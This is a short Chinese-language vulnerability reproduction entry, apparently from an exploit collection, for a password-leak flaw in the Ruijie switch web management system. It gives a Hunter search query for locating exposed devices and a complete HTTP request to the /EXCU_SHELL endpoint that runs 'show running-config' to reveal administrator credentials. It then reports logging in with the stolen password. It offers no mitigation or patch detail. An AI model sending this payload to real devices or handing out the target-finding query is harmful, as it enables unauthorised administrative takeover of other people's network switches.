R6-1锐捷-交换机WEB管理系统-InformationLeakage

漏洞描述：

锐捷交换机 WEB 管理系统 EXCU_SHELL存在密码信息泄露漏洞，攻击者可从漏洞获取到管理员账号密码，从而以管理员权限登录。

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.body="img/free_login_ge.gif"&&web.body="./img/login_bg.gif"

漏洞复现：

payload：

```
GET /EXCU_SHELL HTTP/1.1
Cmdnum: 1
Command1: show running-config
Confirm1: n
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
```

效果图:

使用获取的账号密码成功登录系统